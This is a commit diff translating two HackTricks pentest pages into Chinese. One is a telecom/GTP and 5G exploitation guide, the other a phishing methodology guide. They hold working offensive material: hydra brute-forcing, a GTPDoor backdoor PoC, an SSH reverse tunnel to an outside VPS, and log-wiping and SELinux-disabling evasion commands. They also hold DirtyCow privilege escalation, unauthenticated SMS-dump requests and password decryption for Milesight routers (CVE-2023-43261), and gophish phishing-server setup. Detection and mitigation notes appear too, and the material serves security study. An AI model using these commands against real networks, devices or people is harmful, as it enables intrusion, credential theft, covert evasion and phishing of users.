Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw

This commit is contained in:
Translator 2025-10-09 00:48:40 +00:00
parent 9191946abe
commit 84b44cfb0e
2 changed files with 314 additions and 222 deletions

View File

@ -1,27 +1,27 @@
# Telecom Network Exploitation (GTP / 漫游环境)
# 电信网络利用 (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> 移动核心协议 (GPRS Tunnelling Protocol GTP) 常常穿越半受信任的 GRX/IPX 漫游骨干。由于它们使用明文 UDP 且几乎没有认证,**任何在电信周边取得的立足点通常都能直接到达核心信令平面**。以下笔记收集了在野外针对 SGSN/GGSN、PGW/SGW 和其它 EPC 节点观察到的攻击技巧。
> 移动核心协议 (GPRS Tunnelling Protocol GTP) 通常穿越半信任的 GRX/IPX 漫游骨干网。由于它们运行在明文 UDP 上且几乎没有认证,**任何位于电信边界内的立足点通常可以直接访问核心信令平面**。以下笔记汇集了在野外针对 SGSN/GGSN、PGW/SGW 以及其他 EPC 节点观察到的进攻性技巧。
## 1. Recon & Initial Access
## 1. 侦察与初始访问
### 1.1 默认 OSS / NE 帐
大量厂商的网络设备出厂时包含硬编码的 SSH/Telnet 用户,例如 `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, …。专门的 wordlist 会显著提升 brute-force 成功率:
### 1.1 默认 OSS / NE 账
相当多的厂商网络设备出厂时带有硬编码的 SSH/Telnet 用户,例如 `root:admin``dbadmin:dbadmin``cacti:cacti``ftpuser:ftpuser` 等。使用专门的 wordlist 会显著提高暴力破解成功率:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
如果设备仅暴露管理 VRF请先通过 jump host 进行 pivot参见下面的 «SGSN Emu Tunnel» 部分)。
如果设备仅暴露管理 VRF请先通过跳板主机进行 pivot参见下面的 «SGSN Emu Tunnel» 节)。
### 1.2 GRX/IPX 内的主机发现
大多数 GRX 运营商仍然允许在骨干网络上使用 **ICMP echo**。将 `masscan` 与内置的 `gtpv1` UDP 探针结合使用,以快速映射 GTP-C 侦听器:
大多数 GRX 运营商仍允许在骨干网中传递 **ICMP echo**。 将 `masscan` 与内置的 `gtpv1` UDP 探针结合使用,可快速映射 GTP-C 监听器:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. 枚举订 `cordscan`
## 2. 枚举订阅者 `cordscan`
下面的 Go 工具构造 **GTP-C Create PDP Context Request** 数据包并记录响应。每个回复会显示当前为所查询的 IMSI 提供服务的 **SGSN / MME**,有时还会显示该订户访问的 PLMN。
下面的 Go 工具构造 **GTP-C Create PDP Context Request** 数据包并记录响应。 每个回复会显示当前为被查询的 IMSI 提供服务的 **SGSN / MME**,有时还会显示订阅者访问的 PLMN。
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -29,20 +29,20 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
主要标志:
- `--imsi` 目标户 IMSI
- `--oper` 归属网络 / HNI (MCC+MNC)
关键标志:
- `--imsi` 目标户 IMSI
- `--oper` 归属 / HNI (MCC+MNC)
- `-w` 将原始数据包写入 pcap
二进制文件中的重要常量可被修改以扩大扫描范围:
二进制中的重要常量可被修改以扩大扫描范围:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. 通过 GTP 的代码执行 `GTPDoor`
## 3. 在 GTP 上的代码执行 `GTPDoor`
`GTPDoor` 是一个小型 ELF 服务,**绑定 UDP 2123 并解析每个传入的 GTP-C 包**。当 payload 以 pre-shared tag 开头时,剩余部分会被解密 (AES-128-CBC) 并通过 `/bin/sh -c` 执行。stdout/stderr 被封装在 **Echo Response** 消息中外传,因此不会创建任何外向会话。
`GTPDoor` 是一个小型 ELF 服务,**绑定 UDP 2123 并解析所有传入的 GTP-C 数据包**。 当负载以预共享标签开头时,剩余部分会被解密 (AES-128-CBC) 并通过 `/bin/sh -c` 执行。 stdout/stderr 被封装在 **Echo Response** 消息中外传,因此不会创建任何外向会话。
最小 PoC 数据包 (Python):
```python
@ -52,40 +52,40 @@ cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
检测:
* 任何主机向 SGSN IPs 发送 **unbalanced Echo Requests**
* GTP 版本标志设置为 1 而消息类型 = 1 (Echo) 与规范不符
检测
* 任何主机向 SGSN IP 发送 **unbalanced Echo Requests**
* GTP 版本标志设置为 1 且消息类型 = 1 (Echo) 偏离规范
## 4. Pivoting 通过核心网络
## 4. 通过核心网进行 Pivoting
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` 提供一个 SGSN 模拟器,能够 **establish a PDP context towards a real GGSN/PGW** 一旦协商完成Linux 会收到一个新的 `tun0` 接口,可从漫游对端访问。
`OsmoGGSN` 附带一个 SGSN 仿真器,可以 **establish a PDP context towards a real GGSN/PGW**。协商完成Linux 会收到一个新的 `tun0` 接口,该接口可从漫游对端访问。
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **data plane**.
通过适当的 firewall hair-pinning该隧道可绕过仅用于信令的 VLANs并直接进入 **数据平面**
### 4.2 SSH Reverse Tunnel over Port 53
DNS 在漫游基础设施中几乎总是开放的。 将内部 SSH 服务暴露到你的 VPS监听 :53随后可以从家中回连:
DNS 在漫游基础设施中几乎总是开放的。将内部 SSH 服务暴露到你的 VPS监听 :53然后稍后从家中回连:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
确认 VPS 上已启用 `GatewayPorts yes`
确认 `GatewayPorts yes` 在 VPS 上已启用
## 5. 隐蔽通道
| 通道 | 传输 | 解码 | 说明 |
| 通道 | 传输 | 解码 | 备注 |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | 纯被动监听器,无外发流量 |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | 监 `*.nodep` 子域名 |
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | 完全被动的监听器,无外发流量 |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | 监 `*.nodep` 子域名 |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | 与合法的 GTP-C 通信混合 |
All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.
所有 implants 都实现了 watchdogs**timestomp** 它们的 binaries并在崩溃后 re-spawn。
## 6. 防御规避 速查表
## 6. 防御规避 备忘单
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. 在遗留 NE 上的权限提升
## 7. 在遗留 NE 上的 Privilege Escalation
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@ -118,72 +118,72 @@ rm -f /tmp/sh ; history -c
```
## 8. 工具箱
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` 在前面章节描述的自定义工具。
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` 在前面章节描述的自定义工具。
* `FScan` : 内网 TCP 扫描 (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS 恶意 WPAD
* `Microsocks` + `ProxyChains` : 轻量级 SOCKS5 转发
* `Microsocks` + `ProxyChains` : 轻量级 SOCKS5 pivoting
* `FRP` (≥0.37) : NAT 穿透 / 资产桥接
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
5G 注册流程在 NGAP 之上通过 NAS (Non-Access Stratum) 运行。在通过 Security Mode Command/Complete 激活 NAS 安全之前,初始消息既未认证也未加密。这个安全前窗口在你能够观察或篡改 N2 流量时(例如,位于核心内的 on-path、rogue gNB或测试台允许多种攻击路径。
5G 的注册过程在 NGAP 之上通过 NAS非接入层Non-Access Stratum运行。在 Security Mode Command/Complete 激活 NAS 安全之前,初始消息是未认证且未加密的。这个安全前窗口在你能观察或篡改 N2 流量(例如在核心内的 on-path、rogue gNB或 testbed允许多种攻击途径。
Registration flow (简化):
- Registration Request: UE 发送 SUCI (加密的 SUPI) 和能力信息。
- Registration Request: UE 发送 SUCI(加密的 SUPI和能力信息。
- Authentication: AMF/AUSF 发送 RAND/AUTNUE 返回 RES*。
- Security Mode Command/Complete: 协商并激活 NAS 完整性和加密。
- PDU Session Establishment: IP/QoS 配置。
实验室配置建议(非 RF:
- Core: Open5GS 的默认部署足以重现流程。
- UE: 模拟器或测试 UE使用 Wireshark 解码。
- Active tooling: 5GReplay (捕获/修改/重放 NGAP 内的 NAS), Sni5Gect (在不启动完整 rogue gNB 的情况下实时嗅探/修补/注入 NAS)
- 在 Wireshark 中有用的 display filters:
实验室搭建提示(非 RF:
- Core: Open5GS 的默认部署足以重现这些流程。
- UE: 使用模拟器或测试 UE用 Wireshark 解码流量
- Active tooling: 5GReplay(捕获/修改/重放 NGAP 内的 NASSni5Gect在不启动完整 rogue gNB 的情况下,实时嗅探/修补/注入 NAS
- 在 Wireshark 中有用的显示过滤器:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 标识符隐私: SUCI 故障导致暴露 SUPI/IMSI
预期行为UE/USIM 必须发送 SUCI使用家庭网络公钥加密的 SUPI。如果在 Registration Request 中发现明文 SUPI/IMSI则表示存在隐私缺陷可能导致持久的用户追踪
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
预期UE/USIM 必须发送 SUCI使用归属网络公钥加密的 SUPI。如果在 Registration Request 中发现明文 SUPI/IMSI则表明存在隐私缺陷可导致持久的用户可追踪性
如何测试:
- 捕获 InitialUEMessage 中的个 NAS 消息并检查 Mobile Identity IE。
- 捕获 InitialUEMessage 中的第一个 NAS 消息并检查 Mobile Identity IE。
- Wireshark 快速检查:
- 它应该解码为 SUCI而不是 IMSI。
- 过滤示例:`nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` 应存在;若不存在且同时出现 `imsi` 则表泄露。
- 它应被解码为 SUCI而非 IMSI。
- 过滤示例:`nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` 应存在;若不存在且同时出现 `imsi` 则表泄露。
需要收集的信息
- 如果被暴露,记录 MCC/MNC/MSIN按 UE 记录并在不同时间/位置间跟踪。
需要收集的数据
- 若被暴露,收集 MCC/MNC/MSIN按 UE 记录并跨时间/位置跟踪。
缓解措施:
- 强制只允许 SUCI 的 UE/USIM对任何出现在初始 NAS 中的 IMSI/SUPI 发告警。
- 强制只允许 SUCI 的 UE/USIM对任何初始 NAS 中出现的 IMSI/SUPI 发告警。
### 9.2 能力降级到 null 算法EEA0/EIA0
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
背景:
- UE 在 Registration Request 的 UE Security Capability IE 中通告支持的 EEA加密和 EIA完整性
- 常见映射EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUCEEA0/EIA0 为 null 算法。
- 常见映射EEA1/EIA1 = SNOW3GEEA2/EIA2 = AESEEA3/EIA3 = ZUCEEA0/EIA0 是 null 算法。
问题:
- 由于 Registration Request 未受完整性保护on-path 攻击者可以清除能力位以在后续的 Security Mode Command 中强制选择 EEA0/EIA0。部分实现错误地在紧急服务之外允许 null 算法。
- 因为 Registration Request 未受完整性保护on-path 攻击者可以清除能力位以强制在后续 Security Mode Command 中选择 EEA0/EIA0。一些实现错误地允许在紧急服务之外使用 null 算法。
步骤(进攻方)
- 截获 InitialUEMessage 并修改 NAS UE Security Capability使其只通告 EEA0/EIA0。
攻步骤:
- 截获 InitialUEMessage 并修改 NAS UE Security Capability将其改为仅通告 EEA0/EIA0。
- 使用 Sni5Gecthook NAS 消息并在转发前补丁能力位。
- 观察 AMF 是否接受 null 加密/完整性并以 EEA0/EIA0 完成 Security Mode。
- 观察 AMF 是否接受 null cipher/完整性 并以 EEA0/EIA0 完成 Security Mode。
验证/可见性:
- 在 Wireshark 中,确认 Security Mode Command/Complete 之后选的算法。
- 示例被动嗅探输出:
- 在 Wireshark 中,确认 Security Mode Command/Complete 之后选的算法。
- 示例被动嗅探输出:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Mitigations (must):
- 配置 AMF/policy 拒绝 EEA0/EIA0除非严格要求(例如 emergency calls
- 优先至少强制执行 EEA2/EIA2对任何协商 null algorithms 的 NAS 安全上下文进行记录并触发告警。
缓解措施(必须):
- 配置 AMF/policy 拒绝 EEA0/EIA0除非在严格要求的情况下(例如紧急呼叫)允许
- 优先至少强制使用 EEA2/EIA2对任何协商 null algorithms 的 NAS 安全上下文进行记录和告警。
### 9.3 重放 initial Registration Request (pre-security NAS)
由于 initial NAS 缺乏完整性和新鲜度,捕获到的 InitialUEMessage+Registration Request 可以被重放到 AMF。
### 9.3 Replay of initial Registration Request (pre-security NAS)
Because initial NAS lacks integrity and freshness, captured InitialUEMessage+Registration Request can be replayed to AMF.
PoC rule for 5GReplay to forward matching replays:
```xml
@ -208,32 +208,91 @@ boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
What to observe:
- AMF 是否接受重放并继续 Authentication缺乏新鲜性/上下文验证表明存在暴露
观察点:
- 是否 AMF 接受重放并继续到认证;缺乏时效性/上下文验证表明存在风险
Mitigations:
- 在 AMF 强制实施重放保护/上下文绑定;对每个 GNB/UE 进行速率限制和关联检测
缓解措施:
- 在 AMF 强制重放保护/上下文绑定;对每个 GNB/UE 进行速率限制和关联。
### 9.4 Tooling pointers (reproducible)
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
- Open5GS:启动 AMF/SMF/UPF 来模拟核心网;观察 N2 (NGAP) 和 NAS。
- Wireshark:验证 NGAP/NAS 的解码;应用上文的过滤器以隔离 Registration。
- 5GReplay:抓取一次 registration然后按规则重放特定的 NGAP + NAS 消息。
- Sni5Gect:实时嗅探/修改/注入 NAS 控制面,以强制 null 算法或扰乱认证序列。
### 9.5 Defensive checklist
- 持续检查 Registration Request 是否包含明文 SUPI/IMSI阻断违规设备/USIMs。
- 拒绝 EEA0/EIA0,除非在严格限定的紧急程序中允许;至少要求 EEA2/EIA2。
- 持续检查 Registration Request 是否包含明文 SUPI/IMSI阻断违规设备/USIMs。
- 拒绝 EEA0/EIA0(除非用于严格限定的紧急流程);至少要求 EEA2/EIA2。
- 检测流氓或配置错误的基础设施:未授权的 gNB/AMF、意外的 N2 对端。
- 对导致 null 算法或频繁重放 InitialUEMessage 的 NAS 安全模式发出警。
- 对导致 null 算法或频繁重放 InitialUEMessage 的 NAS 安全模式发出警
---
## Detection Ideas
1. **除 SGSN/GGSN 之外的任何设备建立 Create PDP Context Requests**
2. **来自内部 IP 的非标准端口53、80、443接收 SSH 握手**
3. **频繁的 Echo Requests 而没有相应的 Echo Responses** 可能表示 GTPDoor 信标。
4. **大量带有大且非零 identifier/sequence 字段的 ICMP echo-reply 流量**
5. 5G: **InitialUEMessage 携带的 NAS Registration Requests 从相同端点重复出现**(重放信号)。
6. 5G: **NAS Security Mode 在非紧急场景协商 EEA0/EIA0**
## 10. Industrial Cellular Routers Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
滥用工业蜂窝路由器暴露的 web API 可实现大规模隐蔽的运营商来源 smishing。Milesight UR 系列路由器在 `/cgi` 暴露了类似 JSON-RPC 的端点。若配置错误,该 API 可在无需认证的情况下被查询以列出 SMS 收件箱/发件箱,并且在某些部署中还能发送 SMS。
典型的未认证请求(收件箱/发件箱结构相同):
```http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
```
```json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
```
响应包含诸如 `timestamp``content``phone_number`E.164)和 `status``success``failed`)等字段。对同一号码重复发送 `failed` 通常是攻击者的“能力检查”,用于验证路由器/SIM 是否能在大规模发送前成功投递。
示例 curl 用于外传 SMS 元数据:
```bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
```
关于 auth artifacts:
- 部分流量可能包含一个 auth cookie但当管理界面面向互联网时大量暴露的设备在对 `query_inbox`/`query_outbox` 的请求中无需任何认证即予以响应。
- 在需要 auth 的环境中previously-leaked credentials见下文可恢复访问。
凭证恢复路径 CVE-2023-43261:
- 受影响系列UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7)。
- 问题:通过 web 提供的日志(例如 `httpd.log`)在 `/lang/log/` 下可在无需认证的情况下访问,且包含 admin 登录事件,密码使用存在于客户端 JavaScript 中的硬编码 AES key/IV 加密。
- 实际访问与解密:
```bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
```
用于解密 leaked 密码的最小 Python (AES-128-CBC, hardcoded key/IV):
```python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
```
Hunting and detection ideas (network):
- 触发告警:未经认证的 `POST /cgi`,其 JSON body 包含 `base`/`function` 被设置为 `query_inbox``query_outbox`
- 监测来自同一源 IP 的重复 `POST /cgi` 突发请求,随后在多个不同号码上出现 `status":"failed"` 条目capability testing
- 梳理面向 Internet 暴露的 Milesight 路由器;将管理访问限制到 VPN非必要禁用 SMS 功能;升级到 ≥ v35.3.0.7;轮换凭证并审查 SMS 日志以查找未知发送。
Shodan/OSINT pivots (examples seen in the wild):
- `http.html:"rt_title"` 匹配 Milesight 路由器面板。
- 使用 Google dork 查找暴露的日志: `"/lang/log/system" ext:log`.
Operational impact: 在路由器内使用合法运营商 SIM 会极大提高 SMS 的送达率与可信度,用于钓鱼,而 inbox/outbox 暴露会在大规模上 leak 敏感元数据。
---
## 检测思路
1. **除 SGSN/GGSN 之外的任何设备发起 Create PDP Context Requests**
2. **来自内部 IP 在非标准端口 (53, 80, 443) 接收到 SSH 握手**
3. **频繁的 Echo Requests 但没有相应的 Echo Responses** 可能表示 GTPDoor beacons。
4. **高比例的 ICMP echo-reply 流量,具有较大且非零的 identifier/sequence 字段**
5. 5G**InitialUEMessage 携带的 NAS Registration Requests 从相同端点重复出现**replay signal
6. 5G**在非紧急场景下 NAS Security Mode 协商 EEA0/EIA0**。
## References
@ -243,5 +302,8 @@ Mitigations:
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System
- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
- [CVE-2023-43261 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261)
- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,50 +1,49 @@
# Phishing 方法论
# Phishing Methodology
{{#include ../../banners/hacktricks-training.md}}
## 方法
1. Recon 目标
1. 选择 **目标域名**。
2. 执行一些基本的 web 枚举,**搜索受害者使用的登录门户**,并**决定**你将**冒充**哪个。
3. 使用一些 **OSINT****查找电子邮件**。
1. 侦察受害者
1. 选择 **victim domain**。
2. 对目标的网站进行基础枚举,**搜索 login portals** 并决定你要**冒充**哪一个。
3. 使用一些 **OSINT****查找 emails**。
2. 准备环境
1. **Buy the domain**,用于 phishing 评估
2. **Configure the email service** 的相关记录 (SPF, DMARC, DKIM, rDNS)
1. **Buy the domain** 作为 phishing 评估中使用的域名
2. 配置与 email service 相关的记录SPF, DMARC, DKIM, rDNS
3. 在 VPS 上配置 **gophish**
3. 准备 campaign
3. 准备活动
1. 准备 **email template**
2. 准备用于窃取凭证的 **web page**
4. 启动 campaign!
4. 发起活动!
## Generate similar domain names or buy a trusted domain
## 生成相似域名或购买可信域名
### Domain Name Variation Techniques
- **Keyword**:域名包含原域名的一个重要**关键词**(例如 zelster.com-management.com
- **hypened subdomain**:将子域名的**点替换为连字符**(例如 www-zelster.com
- **New TLD**:使用**新的 TLD**的相同域名(例如 zelster.org
- **Homoglyph**:将域名中的某个字母替换为**外观相似**的字母(例如 zelfser.com
### 域名变体技巧
- **Keyword**:域名包含原始域名的重要**keyword**例如zelster.com-management.com
- **hypened subdomain**:将子域名的**点改为连字符**例如www-zelster.com
- **New TLD**:使用不同的**TLD**例如zelster.org
- **Homoglyph**:用**外观相似的字符**替换域名中的字母例如zelfser.com
{{#ref}}
homograph-attacks.md
{{#endref}}
- **Transposition:** 在域名中**交换两个字母**(例如 zelsetr.com
- **Singularization/Pluralization**:在域名末尾添加或删除 “s”例如 zeltsers.com
- **Omission**:从域名中**去掉一个字母**(例如 zelser.com
- **Repetition:** 在域名中**重复一个字母**(例如 zeltsser.com
- **Replacement**:类似 homoglyph但不那么隐蔽。用另一个字母替换域名中的某个字母可能是键盘上与原字母相邻的字母例如 zektser.com
- **Subdomained**:在域名中插入一个 **点**(例如 ze.lster.com
- **Insertion**:在域名中**插入一个字母**(例如 zerltser.com
- **Missing dot**:将 TLD 直接附加到域名中。(例如 zelstercom.com
- **Transposition** 在域名中**交换两个字母**(例如,zelsetr.com
- **Singularization/Pluralization** 在域名末尾添加或删除 “s”例如zeltsers.com
- **Omission** 从域名中**删除一个字母**(例如,zelser.com
- **Repetition** 在域名中**重复一个字母**(例如,zeltsser.com
- **Replacement** 类似 homoglyph 但不那么隐蔽。用其他字母替换域名中的某个字母,可能是键盘上邻近的字母(例如,zektser.com
- **Subdomained** 在域名内部引入一个**点**(例如,ze.lster.com
- **Insertion** 在域名中**插入一个字母**(例如,zerltser.com
- **Missing dot** 将 TLD 直接附加到域名(例如,zelstercom.com
**自动化工具**
**Automatic Tools**
- [**dnstwist**](https://github.com/elceef/dnstwist)
- [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
**网站**
**Websites**
- [https://dnstwist.it/](https://dnstwist.it)
- [https://dnstwister.report/](https://dnstwister.report)
@ -52,25 +51,25 @@ homograph-attacks.md
### Bitflipping
存在一种可能性:存储或传输中的某些位会由于太阳耀斑、宇宙射线或硬件错误等各种因素而**自动翻转**。
存在一种可能性:存储或通信中的某些位可能会由于太阳耀斑、宇宙射线或硬件错误等各种因素而**自动翻转**。
该概念**应用于 DNS 请求**时,被 DNS 服务器接收到的域名可能与最初请求的域名不一致。
这个概念**应用到 DNS 请求**时,可能会导致**DNS 服务器接收到的域名**与最初请求的域名不一致。
例如,域名 "windows.com" 的单个位修改可能会将其变为 "windnws.com"。
例如,域名 "windows.com" 的单个位修改可能变为 "windnws.com"。
攻击者可能**利用这一点注册多个发生 bit-flipping 的域名**,这些域名与受害者的域名相似,目的是将合法用户重定向到他们自己的基础设施。
攻击者可能通过注册多个类似于受害者域名的 bit-flipping 域名来利用这一点。他们的目的是将合法用户重定向到自己的基础设施。
欲了解更多信息请阅读 [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
更多信息请阅读 [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
### Buy a trusted domain
### 购买可信域名
你可以在 [https://www.expireddomains.net/](https://www.expireddomains.net) 上搜索可用的过期域名,作为候选。\
确保你打算购买的过期域名**已有良好的 SEO**,可以查看其在以下分类中的归属
你可以在 [https://www.expireddomains.net/](https://www.expireddomains.net) 上搜索可以购买的过期域名。\
了确保你要购买的过期域名**已经有良好的 SEO**,你可以在以下位置检查它的分类情况
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
## 发现电子邮件
## 发现 Emails
- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free)
- [https://phonebook.cz/](https://phonebook.cz) (100% free)
@ -78,12 +77,12 @@ homograph-attacks.md
- [https://hunter.io/](https://hunter.io)
- [https://anymailfinder.com/](https://anymailfinder.com)
发现更多有效邮箱或验证已发现的邮箱,你可以尝试对受害者的 smtp 服务器进行 username brute-force查看是否可被爆破。[在此了解如何验证/发现电子邮件地址](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration)。\
此外,别忘了如果用户使用任何 web portal 来访问他们的邮件,你可以检查该门户是否存在 username brute force 的漏洞,并在可能的情况下利用该漏洞。
了**发现更多**有效的 email 地址或**验证已发现的地址**,你可以尝试对目标的 smtp servers 进行暴力枚举。 [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration)。\
此外,不要忘记如果用户通过**任何 web portal**访问他们的邮件,你可以检查该 portal 是否易受**username brute force**,并在可能的情况下利用该漏洞。
## 配置 GoPhish
## Configuring GoPhish
### 安装
### Installation
You can download it from [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
@ -96,7 +95,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
**TLS 证书配置**
在此步骤之前,你应该 **已经购买好将要使用的 domain**,并且它必须 **指向** **IP of the VPS**,该 VPS 是你正在为其配置 **gophish**
在此步骤之前,你应该已经**购买好将要使用的域名**,并且该域名必须**指向**用于配置 **gophish****VPS****IP**
```bash
DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto
@ -114,31 +113,31 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
```
**邮件配置**
开始安装: `apt-get install postfix`
开始安装:`apt-get install postfix`
然后将域添加到以下文件:
然后将域添加到以下文件:
- **/etc/postfix/virtual_domains**
- **/etc/postfix/transport**
- **/etc/postfix/virtual_regexp**
**还要在 /etc/postfix/main.cf 中更改以下变量的值**
**还要更改 /etc/postfix/main.cf 中以下变量的值**
`myhostname = <domain>`\
`mydestination = $myhostname, <domain>, localhost.com, localhost`
最后文件 **`/etc/hostname`** 和 **`/etc/mailname`** 修改为你的域名并 **重启你的 VPS。**
最后修改文件 **`/etc/hostname`** 和 **`/etc/mailname`** 为你的域名并 **重启你的 VPS。**
现在`mail.<domain>` 创建一个指向 VPS **ip address****DNS A record**,并为 `mail.<domain>` 创建一个 **DNS MX** 记录。
现在创建一个 **DNS A record**`mail.<domain>`,指向 VPS 的 **ip address**,并创建一个 **DNS MX** 记录 指向 `mail.<domain>`
现在测试发送电子邮件:
现在测试发送一封邮件:
```bash
apt install mailutils
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
```
**Gophish 配置**
停止 gophish 的执行并开始配置。\
停止 gophish 的执行并开始配置。\
`/opt/gophish/config.json` 修改为如下内容(注意使用 https
```bash
{
@ -166,7 +165,7 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e
```
**配置 gophish 服务**
为了创建 gophish 服务,使其可以自动启动并作为服务进行管理,你可以创建文件 `/etc/init.d/gophish`,其内容如下
为了创建 gophish 服务,使其可以自动启动并作为一个服务进行管理,你可以创建文件 `/etc/init.d/gophish` 并写入以下内容
```bash
#!/bin/bash
# /etc/init.d/gophish
@ -213,7 +212,7 @@ case $1 in
start|stop|status) "$1" ;;
esac
```
完成服务配置并检查其运行情况:
完成配置该服务并检查其运行情况:
```bash
mkdir /var/log/gophish
chmod +x /etc/init.d/gophish
@ -226,58 +225,58 @@ service gophish stop
```
## 配置邮件服务器和域名
### 等待并保持可信度
### 等待并显得可信
域名存在的时间越长,被判定为垃圾邮件的概率越低。因此在进行 phishing 评估前,应该尽可能等待(至少 1 周)。此外,如果你在域名上放置与有信誉行业相关的页面,所获得的信誉会更好。
域名存在时间越长,被标记为垃圾邮件的概率越低。因此在开展 phishing 评估前应尽量等待(至少 1 week。此外如果你在域名上放置与一个有信誉的行业相关的页面获得的信誉会更好。
注意即使需要等待一周,你也可以现在完成所有配置。
